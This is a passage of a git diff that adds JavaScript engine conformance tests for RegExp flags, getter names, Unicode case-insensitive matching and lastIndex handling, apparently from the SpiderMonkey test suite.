+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/flag-accessors.js b/js/src/tests/non262/RegExp/flag-accessors.js
new file mode 100644
index 0000000000..848b916c50
--- /dev/null
+++ b/js/src/tests/non262/RegExp/flag-accessors.js
@@ -0,0 +1,49 @@
+var BUGNUMBER = 1120169;
+var summary = "Implement RegExp.prototype.{global, ignoreCase, multiline, sticky, unicode}";
+
+print(BUGNUMBER + ": " + summary);
+
+var props = [
+ "global",
+ "ignoreCase",
+ "multiline",
+ "sticky",
+ "unicode",
+];
+
+testThrows(RegExp.prototype);
+test(/foo/iymg, [true, true, true, true, false]);
+test(RegExp(""), [false, false, false, false, false]);
+test(RegExp("", "mygi"), [true, true, true, true, false]);
+test(RegExp("", "mygiu"), [true, true, true, true, true]);
+
+testThrowsGeneric();
+testThrowsGeneric(1);
+testThrowsGeneric("");
+testThrowsGeneric({});
+testThrowsGeneric(new Proxy({}, {get(){ return true; }}));
+
+function test(obj, expects) {
+ for (var i = 0; i < props.length; i++) {
+ assertEq(obj[props[i]], expects[i]);
+ }
+}
+
+function testThrows(obj) {
+ for (var prop of props) {
+ assertThrowsInstanceOf(obj[prop], TypeError);
+ }
+}
+
+function testThrowsGeneric(obj) {
+ for (var prop of props) {
+ assertThrowsInstanceOf(() => genericGet(obj, prop), TypeError);
+ }
+}
+
+function genericGet(obj, prop) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype, prop).get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/flags-param-handling.js b/js/src/tests/non262/RegExp/flags-param-handling.js
new file mode 100644
index 0000000000..e47799601a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/flags-param-handling.js
@@ -0,0 +1,18 @@
+assertEq(RegExp(/foo/my).flags, "my");
+assertEq(RegExp(/foo/, "gi").flags, "gi");
+assertEq(RegExp(/foo/my, "gi").flags, "gi");
+assertEq(RegExp(/foo/my, "").flags, "");
+assertEq(RegExp(/foo/my, undefined).flags, "my");
+assertThrowsInstanceOf(() => RegExp(/foo/my, null), SyntaxError);
+assertThrowsInstanceOf(() => RegExp(/foo/my, "foo"), SyntaxError);
+
+assertEq(/a/.compile("b", "gi").flags, "gi");
+assertEq(/a/.compile(/b/my).flags, "my");
+assertEq(/a/.compile(/b/my, undefined).flags, "my");
+assertThrowsInstanceOf(() => /a/.compile(/b/my, "gi"), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, ""), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, null), TypeError);
+assertThrowsInstanceOf(() => /a/.compile(/b/my, "foo"), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/flags.js b/js/src/tests/non262/RegExp/flags.js
new file mode 100644
index 0000000000..17435f7922
--- /dev/null
+++ b/js/src/tests/non262/RegExp/flags.js
@@ -0,0 +1,26 @@
+var BUGNUMBER = 1108467;
+var summary = "Implement RegExp.prototype.flags";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.flags, "");
+assertEq(/foo/iymg.flags, "gimy");
+assertEq(RegExp("").flags, "");
+assertEq(RegExp("", "mygi").flags, "gimy");
+assertEq(RegExp("", "mygui").flags, "gimuy");
+assertEq(genericFlags({}), "");
+assertEq(genericFlags({ignoreCase: true}), "i");
+assertEq(genericFlags({sticky:1, unicode:1, global: 0}), "uy");
+assertEq(genericFlags({__proto__: {multiline: true}}), "m");
+assertEq(genericFlags(new Proxy({}, {get(){return true}})), "dgimsuy");
+
+assertThrowsInstanceOf(() => genericFlags(), TypeError);
+assertThrowsInstanceOf(() => genericFlags(1), TypeError);
+assertThrowsInstanceOf(() => genericFlags(""), TypeError);
+
+function genericFlags(obj) {
+ return Object.getOwnPropertyDescriptor(RegExp.prototype,"flags").get.call(obj);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/getter-name.js b/js/src/tests/non262/RegExp/getter-name.js
new file mode 100644
index 0000000000..d0a413dbc4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/getter-name.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1180290;
+var summary = 'RegExp getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(RegExp, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "flags").get.name, "get flags");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "global").get.name, "get global");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "ignoreCase").get.name, "get ignoreCase");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "multiline").get.name, "get multiline");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "source").get.name, "get source");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "sticky").get.name, "get sticky");
+assertEq(Object.getOwnPropertyDescriptor(RegExp.prototype, "unicode").get.name, "get unicode");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/ignoreCase-multiple.js b/js/src/tests/non262/RegExp/ignoreCase-multiple.js
new file mode 100644
index 0000000000..e52cf499b3
--- /dev/null
+++ b/js/src/tests/non262/RegExp/ignoreCase-multiple.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1280046;
+var summary = "ignoreCase match should perform Canonicalize both on input and pattern.";
+
+print(BUGNUMBER + ": " + summary);
+
+// Each element [code1, upper, code2] satisfies the following condition:
+// ToUpperCase(code1) == upper
+// ToUpperCase(code2) == upper
+var pairs =
+ [
+ // U+00B5: MICRO SIGN
+ // U+039C: GREEK CAPITAL LETTER MU
+ // U+03BC: GREEK SMALL LETTER MU
+ ["\u00B5", "\u039C", "\u03BC"],
+ // U+0345: COMBINING GREEK YPOGEGRAMMENI
+ // U+0399: GREEK CAPITAL LETTER IOTA
+ // U+03B9: GREEK SMALL LETTER IOTA
+ ["\u0345", "\u0399", "\u03B9"],
+ // U+03C2: GREEK SMALL LETTER FINAL SIGMA
+ // U+03A3: GREEK CAPITAL LETTER SIGMA
+ // U+03C3: GREEK SMALL LETTER SIGMA
+ ["\u03C2", "\u03A3", "\u03C3"],
+ // U+03D0: GREEK BETA SYMBOL
+ // U+0392: GREEK CAPITAL LETTER BETA
+ // U+03B2: GREEK SMALL LETTER BETA
+ ["\u03D0", "\u0392", "\u03B2"],
+ // U+03D1: GREEK THETA SYMBOL
+ // U+0398: GREEK CAPITAL LETTER THETA
+ // U+03B8: GREEK SMALL LETTER THETA
+ ["\u03D1", "\u0398", "\u03B8"],
+ // U+03D5: GREEK PHI SYMBOL
+ // U+03A6: GREEK CAPITAL LETTER PHI
+ // U+03C6: GREEK SMALL LETTER PHI
+ ["\u03D5", "\u03A6", "\u03C6"],
+ // U+03D6: GREEK PI SYMBOL
+ // U+03A0: GREEK CAPITAL LETTER PI
+ // U+03C0: GREEK SMALL LETTER PI
+ ["\u03D6", "\u03A0", "\u03C0"],
+ // U+03F0: GREEK KAPPA SYMBOL
+ // U+039A: GREEK CAPITAL LETTER KAPPA
+ // U+03BA: GREEK SMALL LETTER KAPPA
+ ["\u03F0", "\u039A", "\u03BA"],
+ // U+03F1: GREEK RHO SYMBOL
+ // U+03A1: GREEK CAPITAL LETTER RHO
+ // U+03C1: GREEK SMALL LETTER RHO
+ ["\u03F1", "\u03A1", "\u03C1"],
+ // U+03F5: GREEK LUNATE EPSILON SYMBOL
+ // U+0395: GREEK CAPITAL LETTER EPSILON
+ // U+03B5: GREEK SMALL LETTER EPSILON
+ ["\u03F5", "\u0395", "\u03B5"],
+ // U+1E9B: LATIN SMALL LETTER LONG S WITH DOT ABOVE
+ // U+1E60: LATIN CAPITAL LETTER S WITH DOT ABOVE
+ // U+1E61: LATIN SMALL LETTER S WITH DOT ABOVE
+ ["\u1E9B", "\u1E60", "\u1E61"],
+ // U+1FBE: GREEK PROSGEGRAMMENI
+ // U+0399: GREEK CAPITAL LETTER IOTA
+ // U+03B9: GREEK SMALL LETTER IOTA
+ ["\u1FBE", "\u0399", "\u03B9"],
+ ];
+
+for (var [code1, upper, code2] of pairs) {
+ assertEq(new RegExp(code1, "i").test(code2), true);
+ assertEq(new RegExp(code1, "i").test(upper), true);
+ assertEq(new RegExp(upper, "i").test(code1), true);
+ assertEq(new RegExp(upper, "i").test(code2), true);
+ assertEq(new RegExp(code2, "i").test(code1), true);
+ assertEq(new RegExp(code2, "i").test(upper), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js b/js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js
new file mode 100644
index 0000000000..b534740454
--- /dev/null
+++ b/js/src/tests/non262/RegExp/ignoreCase-non-latin1-to-latin1.js
@@ -0,0 +1,118 @@
+var BUGNUMBER = 1338779;
+var summary = "Non-Latin1 to Latin1 mapping in ignoreCase.";
+
+assertEq(/(\u039C)/.test("\xB5"), false);
+assertEq(/(\u039C)+/.test("\xB5"), false);
+assertEq(/(\u039C)/i.test("\xB5"), true);
+assertEq(/(\u039C)+/i.test("\xB5"), true);
+assertEq(/(\u039C)/u.test("\xB5"), false);
+assertEq(/(\u039C)+/u.test("\xB5"), false);
+assertEq(/(\u039C)/ui.test("\xB5"), true);
+assertEq(/(\u039C)+/ui.test("\xB5"), true);
+
+assertEq(/(\xB5)/.test("\u039C"), false);
+assertEq(/(\xB5)+/.test("\u039C"), false);
+assertEq(/(\xB5)/i.test("\u039C"), true);
+assertEq(/(\xB5)+/i.test("\u039C"), true);
+assertEq(/(\xB5)/u.test("\u039C"), false);
+assertEq(/(\xB5)+/u.test("\u039C"), false);
+assertEq(/(\xB5)/ui.test("\u039C"), true);
+assertEq(/(\xB5)+/ui.test("\u039C"), true);
+
+
+assertEq(/(\u0178)/.test("\xFF"), false);
+assertEq(/(\u0178)+/.test("\xFF"), false);
+assertEq(/(\u0178)/i.test("\xFF"), true);
+assertEq(/(\u0178)+/i.test("\xFF"), true);
+assertEq(/(\u0178)/u.test("\xFF"), false);
+assertEq(/(\u0178)+/u.test("\xFF"), false);
+assertEq(/(\u0178)/ui.test("\xFF"), true);
+assertEq(/(\u0178)+/ui.test("\xFF"), true);
+
+assertEq(/(\xFF)/.test("\u0178"), false);
+assertEq(/(\xFF)+/.test("\u0178"), false);
+assertEq(/(\xFF)/i.test("\u0178"), true);
+assertEq(/(\xFF)+/i.test("\u0178"), true);
+assertEq(/(\xFF)/u.test("\u0178"), false);
+assertEq(/(\xFF)+/u.test("\u0178"), false);
+assertEq(/(\xFF)/ui.test("\u0178"), true);
+assertEq(/(\xFF)+/ui.test("\u0178"), true);
+
+
+assertEq(/(\u017F)/.test("\x73"), false);
+assertEq(/(\u017F)+/.test("\x73"), false);
+assertEq(/(\u017F)/i.test("\x73"), false);
+assertEq(/(\u017F)+/i.test("\x73"), false);
+assertEq(/(\u017F)/u.test("\x73"), false);
+assertEq(/(\u017F)+/u.test("\x73"), false);
+assertEq(/(\u017F)/iu.test("\x73"), true);
+assertEq(/(\u017F)+/iu.test("\x73"), true);
+
+assertEq(/(\x73)/.test("\u017F"), false);
+assertEq(/(\x73)+/.test("\u017F"), false);
+assertEq(/(\x73)/i.test("\u017F"), false);
+assertEq(/(\x73)+/i.test("\u017F"), false);
+assertEq(/(\x73)/u.test("\u017F"), false);
+assertEq(/(\x73)+/u.test("\u017F"), false);
+assertEq(/(\x73)/iu.test("\u017F"), true);
+assertEq(/(\x73)+/iu.test("\u017F"), true);
+
+
+assertEq(/(\u1E9E)/.test("\xDF"), false);
+assertEq(/(\u1E9E)+/.test("\xDF"), false);
+assertEq(/(\u1E9E)/i.test("\xDF"), false);
+assertEq(/(\u1E9E)+/i.test("\xDF"), false);
+assertEq(/(\u1E9E)/u.test("\xDF"), false);
+assertEq(/(\u1E9E)+/u.test("\xDF"), false);
+assertEq(/(\u1E9E)/iu.test("\xDF"), true);
+assertEq(/(\u1E9E)+/iu.test("\xDF"), true);
+
+assertEq(/(\xDF)/.test("\u1E9E"), false);
+assertEq(/(\xDF)+/.test("\u1E9E"), false);
+assertEq(/(\xDF)/i.test("\u1E9E"), false);
+assertEq(/(\xDF)+/i.test("\u1E9E"), false);
+assertEq(/(\xDF)/u.test("\u1E9E"), false);
+assertEq(/(\xDF)+/u.test("\u1E9E"), false);
+assertEq(/(\xDF)/iu.test("\u1E9E"), true);
+assertEq(/(\xDF)+/iu.test("\u1E9E"), true);
+
+
+assertEq(/(\u212A)/.test("\x6B"), false);
+assertEq(/(\u212A)+/.test("\x6B"), false);
+assertEq(/(\u212A)/i.test("\x6B"), false);
+assertEq(/(\u212A)+/i.test("\x6B"), false);
+assertEq(/(\u212A)/u.test("\x6B"), false);
+assertEq(/(\u212A)+/u.test("\x6B"), false);
+assertEq(/(\u212A)/iu.test("\x6B"), true);
+assertEq(/(\u212A)+/iu.test("\x6B"), true);
+
+assertEq(/(\x6B)/.test("\u212A"), false);
+assertEq(/(\x6B)+/.test("\u212A"), false);
+assertEq(/(\x6B)/i.test("\u212A"), false);
+assertEq(/(\x6B)+/i.test("\u212A"), false);
+assertEq(/(\x6B)/u.test("\u212A"), false);
+assertEq(/(\x6B)+/u.test("\u212A"), false);
+assertEq(/(\x6B)/iu.test("\u212A"), true);
+assertEq(/(\x6B)+/iu.test("\u212A"), true);
+
+
+assertEq(/(\u212B)/.test("\xE5"), false);
+assertEq(/(\u212B)+/.test("\xE5"), false);
+assertEq(/(\u212B)/i.test("\xE5"), false);
+assertEq(/(\u212B)+/i.test("\xE5"), false);
+assertEq(/(\u212B)/u.test("\xE5"), false);
+assertEq(/(\u212B)+/u.test("\xE5"), false);
+assertEq(/(\u212B)/iu.test("\xE5"), true);
+assertEq(/(\u212B)+/iu.test("\xE5"), true);
+
+assertEq(/(\xE5)/.test("\u212B"), false);
+assertEq(/(\xE5)+/.test("\u212B"), false);
+assertEq(/(\xE5)/i.test("\u212B"), false);
+assertEq(/(\xE5)+/i.test("\u212B"), false);
+assertEq(/(\xE5)/u.test("\u212B"), false);
+assertEq(/(\xE5)+/u.test("\u212B"), false);
+assertEq(/(\xE5)/iu.test("\u212B"), true);
+assertEq(/(\xE5)+/iu.test("\u212B"), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/instance-property-storage-introspection.js b/js/src/tests/non262/RegExp/instance-property-storage-introspection.js
new file mode 100644
index 0000000000..998d25e2c0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/instance-property-storage-introspection.js
@@ -0,0 +1,128 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 640072;
+var summary =
+ "Represent /a/.{lastIndex,global,source,multiline,sticky,ignoreCase} with " +
+ "plain old data properties";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function checkDataProperty(obj, p, expect, msg)
+{
+ var d = Object.getOwnPropertyDescriptor(obj, p);
+
+ assertEq(d.value, expect.value, msg + ": bad value for " + p);
+ assertEq(d.writable, expect.writable, msg + ": bad writable for " + p);
+ assertEq(d.enumerable, expect.enumerable, msg + ": bad enumerable for " + p);
+ assertEq(d.configurable, expect.configurable, msg + ": bad configurable for " + p);
+
+ // Try redefining the property using its initial values: these should all be
+ // silent no-ops.
+ Object.defineProperty(obj, p, { value: expect.value });
+ Object.defineProperty(obj, p, { writable: expect.writable });
+ Object.defineProperty(obj, p, { enumerable: expect.enumerable });
+ Object.defineProperty(obj, p, { configurable: expect.configurable });
+
+ var d2 = Object.getOwnPropertyDescriptor(obj, p);
+ assertEq(d.value, d2.value, msg + ": value changed on redefinition of " + p + "?");
+ assertEq(d.writable, d2.writable, msg + ": writable changed on redefinition of " + p + "?");
+ assertEq(d.enumerable, d2.enumerable, msg + ": enumerable changed on redefinition of " + p + "?");
+ assertEq(d.configurable, d2.configurable, msg + ": configurable changed on redefinition of " + p + "?");
+}
+
+
+// Check a bunch of "empty" regular expressions first.
+
+var choices = [{ msg: "new RegExp()",
+ get: function() { return new RegExp(); } },
+ { msg: "/(?:)/",
+ get: Function("return /(?:)/;") }];
+
+function checkRegExp(r, msg, lastIndex)
+{
+ var expect;
+
+ expect = { value: lastIndex, enumerable: false, configurable: false, writable: true };
+ checkDataProperty(r, "lastIndex", expect, msg);
+}
+
+checkRegExp(new RegExp(), "new RegExp()", 0);
+checkRegExp(/(?:)/, "/(?:)/", 0);
+checkRegExp(Function("return /(?:)/;")(), 'Function("return /(?:)/;")()', 0);
+
+for (var i = 0; i < choices.length; i++)
+{
+ var choice = choices[i];
+ var msg = choice.msg;
+ var r = choice.get();
+
+ checkRegExp(r, msg, 0);
+}
+
+// Now test less generic regular expressions
+
+checkRegExp(/a/gim, "/a/gim", 0);
+
+var r;
+
+do
+{
+ r = /abcd/mg;
+ checkRegExp(r, "/abcd/mg initially", 0);
+ r.exec("abcdefg");
+ checkRegExp(r, "/abcd/mg step 1", 4);
+ r.exec("abcdabcd");
+ checkRegExp(r, "/abcd/mg step 2", 8);
+ r.exec("abcdabcd");
+ checkRegExp(r, "/abcd/mg end", 0);
+
+ r = /cde/ig;
+ checkRegExp(r, "/cde/ig initially", 0);
+ var obj = r.lastIndex = { valueOf: function() { return 2; } };
+ checkRegExp(r, "/cde/ig after lastIndex", obj);
+ r.exec("aaacdef");
+ checkRegExp(r, "/cde/ig after exec", 6);
+ Object.defineProperty(r, "lastIndex", { value: 3 });
+ checkRegExp(r, "/cde/ig after define 3", 3);
+ Object.defineProperty(r, "lastIndex", { value: obj });
+ checkRegExp(r, "/cde/ig after lastIndex", obj);
+
+
+ // Tricky bits of testing: make sure that redefining lastIndex doesn't change
+ // the slot where the lastIndex property is initially stored, even if
+ // the redefinition also changes writability.
+ r = /a/g;
+ checkRegExp(r, "/a/g initially", 0);
+ Object.defineProperty(r, "lastIndex", { value: 2 });
+ r.exec("aabbbba");
+ checkRegExp(r, "/a/g after first exec", 7);
+ assertEq(r.lastIndex, 7);
+ r.lastIndex = 2;
+ checkRegExp(r, "/a/g after assign", 2);
+ r.exec("aabbbba");
+ assertEq(r.lastIndex, 7); // check in reverse order
+ checkRegExp(r, "/a/g after second exec", 7);
+
+ r = /c/g;
+ r.lastIndex = 2;
+ checkRegExp(r, "/c/g initially", 2);
+ Object.defineProperty(r, "lastIndex", { writable: false });
+ assertEq(Object.getOwnPropertyDescriptor(r, "lastIndex").writable, false);
+ try { r.exec("aabbbba"); } catch (e) { /* swallow error if thrown */ }
+ assertEq(Object.getOwnPropertyDescriptor(r, "lastIndex").writable, false);
+}
+while (Math.random() > 17); // fake loop to discourage RegExp object caching
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/lastIndex-exec.js b/js/src/tests/non262/RegExp/lastIndex-exec.js
new file mode 100644
index 0000000000..f42facbe34
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-exec.js
@@ -0,0 +1,80 @@
+// RegExp.prototype.exec: Test lastIndex changes for ES2017.
+
+// Test various combinations of:
+// - Pattern matches or doesn't match
+// - Global and/or sticky flag is set.
+// - lastIndex exceeds the input string length
+// - lastIndex is +-0
+const testCases = [
+ { regExp: /a/, lastIndex: 0, input: "a", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "a", result: 1 },
+ { regExp: /a/y, lastIndex: 0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: 0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -0, input: "a", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "a", result: 1 },
+ { regExp: /a/y, lastIndex: -0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -0, input: "b", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -1, input: "a", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "a", result: 1 },
+ { regExp: /a/y, lastIndex: -1, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -1, input: "b", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -1, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: 100, input: "a", result: 100 },
+ { regExp: /a/g, lastIndex: 100, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: 100, input: "a", result: 0 },
+];
+
+// Basic test.
+for (let {regExp, lastIndex, input, result} of testCases) {
+ let re = new RegExp(regExp);
+ re.lastIndex = lastIndex;
+ re.exec(input);
+ assertEq(re.lastIndex, result);
+}
+
+// Test when lastIndex is non-writable.
+for (let {regExp, lastIndex, input} of testCases) {
+ let re = new RegExp(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => re.exec(input), TypeError);
+ } else {
+ re.exec(input);
+ }
+ assertEq(re.lastIndex, lastIndex);
+}
+
+// Test when lastIndex is changed to non-writable as a side-effect.
+for (let {regExp, lastIndex, input} of testCases) {
+ let re = new RegExp(regExp);
+ let called = false;
+ re.lastIndex = {
+ valueOf() {
+ assertEq(called, false);
+ called = true;
+ Object.defineProperty(re, "lastIndex", { value: 9000, writable: false });
+ return lastIndex;
+ }
+ };
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => re.exec(input), TypeError);
+ } else {
+ re.exec(input);
+ }
+ assertEq(re.lastIndex, 9000);
+ assertEq(called, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/lastIndex-match-or-replace.js b/js/src/tests/non262/RegExp/lastIndex-match-or-replace.js
new file mode 100644
index 0000000000..8d7703c459
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-match-or-replace.js
@@ -0,0 +1,123 @@
+// RegExp.prototype[Symbol.match, Symbol.replace]: Test lastIndex changes for ES2017.
+
+// RegExp-like class to test the RegExp method slow paths.
+class DuckRegExp extends RegExp {
+ constructor(pattern, flags) {
+ return Object.create(DuckRegExp.prototype, {
+ regExp: {
+ value: new RegExp(pattern, flags)
+ },
+ lastIndex: {
+ value: 0, writable: true, enumerable: false, configurable: false
+ }
+ });
+ }
+
+ exec(...args) {
+ this.regExp.lastIndex = this.lastIndex;
+ try {
+ return this.regExp.exec(...args);
+ } finally {
+ if (this.global || this.sticky)
+ this.lastIndex = this.regExp.lastIndex;
+ }
+ }
+
+ get source() { return this.regExp.source; }
+
+ get flags() { return this.regExp.flags; }
+ get global() { return this.regExp.global; }
+ get ignoreCase() { return this.regExp.ignoreCase; }
+ get multiline() { return this.regExp.multiline; }
+ get sticky() { return this.regExp.sticky; }
+ get unicode() { return this.regExp.unicode; }
+}
+
+// Test various combinations of:
+// - Pattern matches or doesn't match
+// - Global and/or sticky flag is set.
+// - lastIndex exceeds the input string length
+// - lastIndex is +-0
+const testCases = [
+ { regExp: /a/, lastIndex: 0, input: "a", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: 0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/g, lastIndex: 0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: 0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -0, input: "a", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: -0, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -0, input: "b", result: -0 },
+ { regExp: /a/g, lastIndex: -0, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -0, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: -1, input: "a", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: -1, input: "a", result: 1 },
+
+ { regExp: /a/, lastIndex: -1, input: "b", result: -1 },
+ { regExp: /a/g, lastIndex: -1, input: "b", result: 0 },
+ { regExp: /a/y, lastIndex: -1, input: "b", result: 0 },
+
+ { regExp: /a/, lastIndex: 100, input: "a", result: 100 },
+ { regExp: /a/g, lastIndex: 100, input: "a", result: 0 },
+ { regExp: /a/y, lastIndex: 100, input: "a", result: 0 },
+];
+
+for (let method of [RegExp.prototype[Symbol.match], RegExp.prototype[Symbol.replace]]) {
+ for (let Constructor of [RegExp, DuckRegExp]) {
+ // Basic test.
+ for (let {regExp, lastIndex, input, result} of testCases) {
+ let re = new Constructor(regExp);
+ re.lastIndex = lastIndex;
+ Reflect.apply(method, re, [input]);
+ assertEq(re.lastIndex, result);
+ }
+
+ // Test when lastIndex is non-writable.
+ for (let {regExp, lastIndex, input} of testCases) {
+ let re = new Constructor(regExp);
+ Object.defineProperty(re, "lastIndex", { value: lastIndex, writable: false });
+ if (re.global || re.sticky) {
+ assertThrowsInstanceOf(() => Reflect.apply(method, re, [input]), TypeError);
+ } else {
+ Reflect.apply(method, re, [input]);
+ }
+ assertEq(re.lastIndex, lastIndex);
+ }
+
+ // Test when lastIndex is changed to non-writable as a side-effect.
+ for (let {regExp, lastIndex, input, result} of testCases) {
+ let re = new Constructor(regExp);
+ let called = false;
+ re.lastIndex = {
+ valueOf() {
+ assertEq(called, false);
+ called = true;
+ Object.defineProperty(re, "lastIndex", { value: 9000, writable: false });
+ return lastIndex;
+ }
+ };
+ if (re.sticky) {
+ assertThrowsInstanceOf(() => Reflect.apply(method, re, [input]), TypeError);
+ assertEq(called, true);
+ assertEq(re.lastIndex, 9000);
+ } else if (re.global) {
+ Reflect.apply(method, re, [input]);
+ assertEq(called, false);
+ assertEq(re.lastIndex, result);
+ } else {
+ Reflect.apply(method, re, [input]);
+ assertEq(called, true);
+ assertEq(re.lastIndex, 9000);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/lastIndex-nonwritable.js b/js/src/tests/non262/RegExp/lastIndex-nonwritable.js
new file mode 100644
index 0000000000..3c867f9538
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-nonwritable.js
@@ -0,0 +1,27 @@
+var BUGNUMBER = 1168416;
+var summary = "Regexp.prototype.test/exec shouldn't change lastIndex if not writable.";
+
+print(BUGNUMBER + ": " + summary);
+
+var regex = /0/g;
+Object.freeze(regex);
+var str = "abc000";
+
+var desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+assertThrowsInstanceOf(() => regex.test(str), TypeError);
+
+desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+assertThrowsInstanceOf(() => regex.exec(str), TypeError);
+
+desc = Object.getOwnPropertyDescriptor(regex, "lastIndex");
+assertEq(desc.writable, false);
+assertEq(desc.value, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/lastIndex-search.js b/js/src/tests/non262/RegExp/lastIndex-search.js
new file mode 100644
index 0000000000..5953b3a885
--- /dev/null
+++ b/js/src/tests/non262/RegExp/lastIndex-search.js
@@ -0,0 +1,118 @@
+// RegExp.prototype[Symbol.search]: Test lastIndex changes for ES2017.
+
+// RegExp-like class to test the RegExp method slow paths.
+class DuckRegExp extends RegExp {
+ constructor(pattern, flags) {
+ return Object.create(DuckRegExp.prototype, {
+ regExp: {
+ value: new RegExp(pattern, flags)
+ },
+ lastIndex: {
+ value: 0, writable: true, enumerable: false, configurable: false
+ }
+ });
+ }
+
+ exec(...args) {
+ this.regExp.lastIndex = this.lastIndex;
+ try {
+ return this.regExp.exec(...args);
+ } finally {
+ if (this.global || this.sticky)
+ this.lastIndex = this.regExp.lastIndex;
+ }
+ }
+
+ get source() { return this.regExp.source; }
+
+ get global() { return this.regExp.global; }
+ get ignoreCase() { return this.regExp.ignoreCase; }
+ get multiline() { return this.regExp.multiline; }
+ get sticky() { return this.regExp.sticky; }
+ get unicode() { return this.regExp.unicode; }
+}
+
+// Test various combinations of:
+// - Pattern matches or doesn't match
+// - Global and/or sticky flag is set.
+// - lastIndex exceeds the input string length
+// - lastIndex is +-0
+const testCasesNotPositiveZero = [
+ { regExp: /a/, lastIndex: -1, input: "a" },
+ { regExp: /a/g, lastIndex: -1, input: "a" },
+ { regExp: /a/y, lastIndex: -1, input: "a" },
+
+ { regExp: /a/, lastIndex: 100, input: "a" },
+ { regExp: /a/g, lastIndex: 100, input: "a" },
+ { regExp: /a/y, lastIndex: 100, input: "a" },
+
+ { regExp: /a/, lastIndex: -1, input: "b" },
+ { regExp: /a/g, lastIndex: -1, input: "b" },
+ { regExp: /a/y, lastIndex: -1, input: "b" },
+
+ { regExp: /a/, lastIndex: -0, input: "a" },
+ { regExp: /a/g, lastIndex: -0, input: "a" },
+ { regExp: /a/y, lastIndex: -0, input: "a" },
+
+ { regExp: /a/, lastIndex: -0, input: "b" },
+ { regExp: /a/g, lastIndex: -0, input: "b" },
+ { regExp: /a/y, lastIndex: -0, input: "b" },
+];
+
+const testCasesPositiveZero = [
